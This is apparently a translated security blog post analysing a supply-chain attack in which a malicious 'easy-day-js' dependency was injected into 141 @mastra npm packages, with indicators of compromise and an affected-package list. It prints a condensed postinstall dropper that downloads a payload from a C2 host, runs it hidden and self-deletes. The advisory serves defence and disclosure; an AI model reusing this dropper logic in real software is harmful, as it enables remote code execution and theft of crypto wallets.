Aikido

Plus de 140 paquets npm populaires de Mastra ont été touchés par une attaque visant la chaîne d'approvisionnement

Écrit par
Ilyas Makari

Le 17 juin, nous avons détecté une attaque à grande échelle visant l'ensemble de la chaîne d'approvisionnement @mastra npm scope, un framework open source très répandu dédié aux agents d'IA. Un pirate a republié 141 paquets en rafale entre 01 h 15 et 02 h 00 UTC, y injectant discrètement une dépendance malveillante dans chacun d'entre eux. Parmi les paquets concernés, on trouve @mastra/core, qui enregistre 918 000 téléchargements hebdomadaires sur npm, ainsi que mastra et create-mastra.

Le script post-installation

Les 141 paquets ont tous vu une seule nouvelle dépendance ajoutée à leur package.json: easy-day-js, un clone malveillant de la célèbre bibliothèque de gestion des dates dayjs. Le paquet a été publié par un autre compte contrôlé par un pirate, un jour avant la prise de contrôle de Scope. Il est important de noter que la version initiale (1.11.21) était parfaitement saine, une copie conforme de dayjs sans aucun mécanisme d'installation. La version malveillante (1.11.22) a suivi le lendemain, à peu près au moment où le @mastra Les paquets ont été republiés. Les paquets compromis dépendent de ^1.11.21, mais le mécanisme de résolution des versions de npm importe automatiquement la version malveillante 1.11.22 comme version la plus récente, alors que l'audit de la version épinglée ne révèle rien de suspect.

La version 1.11.22 ajoute une post-installation crochet qui s'étend setup.cjs, un script obscurci qui s'exécute automatiquement au moment de l'installation, sans aucune intervention de l'utilisateur.

// obfuscated -- stripped down to the essential logic
const payload = await (await fetch('https://23[.]254[.]164[.]92:8000/update/49890878')).text();
const file = path.join(os.tmpdir(), crypto.randomBytes(12).toString('hex') + '.js');
fs.writeFileSync(file, payload, 'utf8');
child_process.spawn(process.execPath, [file, '23[.]254[.]164[.]123:443'], {
  detached: true, stdio: 'ignore', windowsHide: true
}).unref();
fs.rmSync(__filename, { force: true }); // self-deletes

Voici, étape par étape, ce que fait ce script :

  • Récupère une charge utile de deuxième étape depuis le serveur C2 à l'adresse 23[.]254[.]164[.]92:8000
  • Écrit la charge utile dans un fichier dont le nom est généré aléatoirement .js fichier situé dans le répertoire temporaire du système d'exploitation
  • Lance la charge utile sous la forme d'un processus d'arrière-plan entièrement détaché, invisible sur toutes les plateformes (stdio : ignorer, windowsHide : true), en passant par un deuxième hôte C2 23[.]254[.]164[.]123:443 en tant qu'argument
  • S'efface automatiquement pour supprimer toute trace numérique du hook post-installation

La deuxième phase s'exécute sous la forme d'un processus d'arrière-plan à longue durée de vie qui collecte des informations système et cible plus de 160 extensions de portefeuilles cryptographiques pour navigateur, notamment MetaMask, Keplr, Coinbase et bien d'autres. Elle assure sa persistance en se faisant passer pour des outils liés à des nœuds sur macOS, Windows et Linux, qui communiquent tous avec 23[.]254[.]164[.]123:443.

Points communs avec le compromis Axios

La stratégie à suivre ici est pratiquement identique à celle de la compromis Axios que nous avions abordées en mars 2026. Dans ces deux attaques, le pirate a évité de modifier le code du paquet cible et a préféré y injecter une dépendance malveillante, en exploitant la fonctionnalité de npm qui permet de post-installation un hook permettant d'exécuter automatiquement la charge utile au moment de l'installation. Les deux ont d'abord déployé une version « leurre » inoffensive, puis ont enchaîné avec la version malveillante. Dans le cas de l'attaque via Axios, plain-crypto-js a joué le rôle de easy-day-js s'exécute ici. Les deux droppers s'effacent également d'eux-mêmes après leur exécution afin d'éliminer toute trace pouvant servir de preuve.

L'infrastructure suit également le même schéma. Le dropper Axios effectuait un appel de retour vers un VPS Hostwinds sur le port 8000. Le easy-day-js Le compte-gouttes fait la même chose, en touchant 23[.]254[.]164[.]92:8000 sur l'infrastructure Hostwinds.

Comment Aikido détecte cela

Si vous êtes un utilisateur Aikido, vérifiez votre flux central et filtrez les problèmes de logiciels malveillants. Cela apparaîtra comme un problème critique 100/100. Aikido effectue des rescans nocturnes, mais nous vous recommandons de déclencher un rescan manuel dès maintenant.

Si vous n'êtes pas encore un utilisateur Aikido, vous pouvez créer un compte et connecter vos dépôts. Notre couverture des logiciels malveillants est incluse dans le plan gratuit, aucune carte de crédit requise.

Pour une couverture plus large au sein de toute votre équipe, la Device Protection d'Aikido vous offre une visibilité et un contrôle sur les packages logiciels installés sur les appareils de votre équipe. Elle couvre les extensions de navigateur, les bibliothèques de code, les plugins d'IDE et les dépendances de build, le tout en un seul endroit. Arrêtez les malwares avant qu'ils ne soient installés.

Pour une protection future, envisagez Aikido Safe Chain (open source). Safe Chain s'intègre à votre flux de travail existant, en interceptant les commandes npm, npx, yarn, pnpm et pnpx et en vérifiant les paquets par rapport à Aikido Intel avant l'installation.

Indicateurs de compromission

Indicateurs de réseau

23[.]254[.]164[.]92:8000 — C2 de premier étage, téléchargement de la charge utile
23[.]254[.]164[.]123:443 — hôte de rappel de deuxième niveau, transmis au RAT lancé

Paquets concernés

easy-day-js@1.11.22
create-mastra@1.13.1
mastra@1.13.1
@mastra/acp@0.2.2
@mastra/agent-browser@0.3.2
@mastra/agent-builder@1.0.42
@mastra/agentcore@0.2.2
@mastra/agentfs@0.1.1
@mastra/ai-sdk@1.4.6
@mastra/arize@1.2.3
@mastra/arthur@0.3.3
@mastra/astra@1.0.2
@mastra/auth@1.0.3
@mastra/auth-auth0@1.0.2
@mastra/auth-better-auth@1.0.4
@mastra/auth-clerk@1.0.3
@mastra/auth-cloud@1.1.4
@mastra/auth-firebase@1.0.1
@mastra/auth-okta@0.0.5
@mastra/auth-studio@1.2.4
@mastra/auth-supabase@1.0.2
@mastra/auth-workos@1.5.3
@mastra/azure@0.2.3
@mastra/blaxel@0.4.2
@mastra/braintrust@1.1.4
@mastra/brightdata@0.2.2
@mastra/browser-firecrawl@0.1.1
@mastra/browser-viewer@0.1.3
@mastra/chroma@1.0.2
@mastra/claude@1.0.3
@mastra/clickhouse@1.10.1
@mastra/client-js@1.24.1
@mastra/cloud@0.1.24
@mastra/cloudflare@1.4.2
@mastra/cloudflare-d1@1.0.7
@mastra/codemod@1.0.4
@mastra/convex@1.2.2
@mastra/core@1.42.1
@mastra/couchbase@1.0.4
@mastra/cursor@0.2.1
@mastra/dane@1.0.2
@mastra/datadog@1.2.5
@mastra/daytona@0.4.2
@mastra/deployer@1.42.1
@mastra/deployer-cloud@1.42.1
@mastra/deployer-cloudflare@1.1.44
@mastra/deployer-netlify@1.1.20
@mastra/deployer-vercel@1.1.38
@mastra/docker@0.3.1
@mastra/dsql@1.0.3
@mastra/duckdb@1.4.3
@mastra/dynamodb@1.0.9
@mastra/e2b@0.3.4
@mastra/editor@0.11.3
@mastra/elasticsearch@1.2.1
@mastra/engine@0.1.1
@mastra/evals@1.3.1
@mastra/express@1.3.31
@mastra/fastembed@1.1.3
@mastra/fastify@1.3.31
@mastra/files-sdk@0.2.1
@mastra/gcs@0.2.3
@mastra/github-signals@0.1.2
@mastra/google-cloud-pubsub@1.0.6
@mastra/google-drive@0.1.1
@mastra/hono@1.4.26
@mastra/inngest@1.5.2
@mastra/koa@1.5.14
@mastra/laminar@1.2.3
@mastra/lance@1.0.7
@mastra/langfuse@1.3.6
@mastra/langsmith@1.2.4
@mastra/libsql@1.13.1
@mastra/loggers@1.1.3
@mastra/longmemeval@1.0.50
@mastra/mcp@1.10.1
@mastra/mcp-docs-server@1.1.47
@mastra/mcp-registry-registry@1.0.2
@mastra/mem0@0.1.14
@mastra/memory@1.20.4
@mastra/modal@0.2.2
@mastra/mongodb@1.9.3
@mastra/mssql@1.3.2
@mastra/mysql@0.1.1
@mastra/nestjs@0.1.15
@mastra/node-audio@0.1.8
@mastra/node-speaker@0.1.1
@mastra/observability@1.14.2
@mastra/openai@1.0.2
@mastra/opencode@0.0.47
@mastra/opensearch@1.0.3
@mastra/otel-bridge@1.2.3
@mastra/otel-exporter@1.2.3
@mastra/perplexity@0.1.1
@mastra/pg@1.13.1
@mastra/pinecone@1.0.2
@mastra/playground-ui@33.0.1
@mastra/posthog@1.0.29
@mastra/qdrant@1.0.3
@mastra/rag@2.2.2
@mastra/railway@0.1.1
@mastra/react@1.0.1
@mastra/redis@1.1.3
@mastra/redis-streams@0.0.4
@mastra/s3@0.5.3
@mastra/s3vectors@1.0.7
@mastra/schema-compat@1.2.12
@mastra/sentry@1.1.4
@mastra/server@2.1.1
@mastra/slack@1.3.1
@mastra/spanner@1.1.2
@mastra/speech-azure@0.2.1
@mastra/speech-elevenlabs@0.2.1
@mastra/speech-google@0.2.1
@mastra/speech-ibm@0.2.1
@mastra/speech-murf@0.2.1
@mastra/speech-openai@0.2.1
@mastra/speech-replicate@0.2.1
@mastra/speech-speechify@0.2.1
@mastra/stagehand@0.2.5
@mastra/tavily@1.0.3
@mastra/temporal@0.1.14
@mastra/turbopuffer@1.0.3
@mastra/twilio@1.0.2
@mastra/upstash@1.1.3
@mastra/vectorize@1.0.3
@mastra/vercel@1.0.1
@mastra/voice-aws-nova-sonic@0.1.4
@mastra/voice-azure@0.11.2
@mastra/voice-cloudflare@0.12.3
@mastra/voice-deepgram@0.12.2
@mastra/voice-elevenlabs@0.12.2
@mastra/voice-gladia@0.12.2
@mastra/voice-google@0.12.3
@mastra/voice-google-gemini-live@0.12.2
@mastra/voice-inworld@0.3.1
@mastra/voice-modelslab@0.1.2
@mastra/voice-murf@0.12.3
@mastra/voice-openai@0.12.3
@mastra/voice-openai-realtime@0.12.6
@mastra/voice-playai@0.12.2
@mastra/voice-sarvam@1.0.2
@mastra/voice-speechify@0.12.2
@mastra/voice-xai-realtime@0.1.2

Partager :

https://www.aikido.dev/blog/over-140-popular-mastra-npm-packages-hit-by-supply-chain-attack

4,7/5
Fatigué des faux positifs ?
Essayez Aikido, comme 100 000 autres.
Commencez maintenant
Obtenez une démonstration personnalisée

Approuvé par plus de 100 000 équipes

Réserver maintenant
Analysez votre application à la recherche d'IDORs et de chemins d'attaque réels

Approuvé par plus de 100 000 équipes

Démarrer l'analyse
Découvrez comment le pentest IA teste votre application

Approuvé par plus de 100 000 équipes

Démarrer les tests

Sécurisez votre environnement dès maintenant.

Sécurisez votre code, votre cloud et votre environnement d’exécution dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Aucune carte de crédit requise | Résultats en 32 secondes.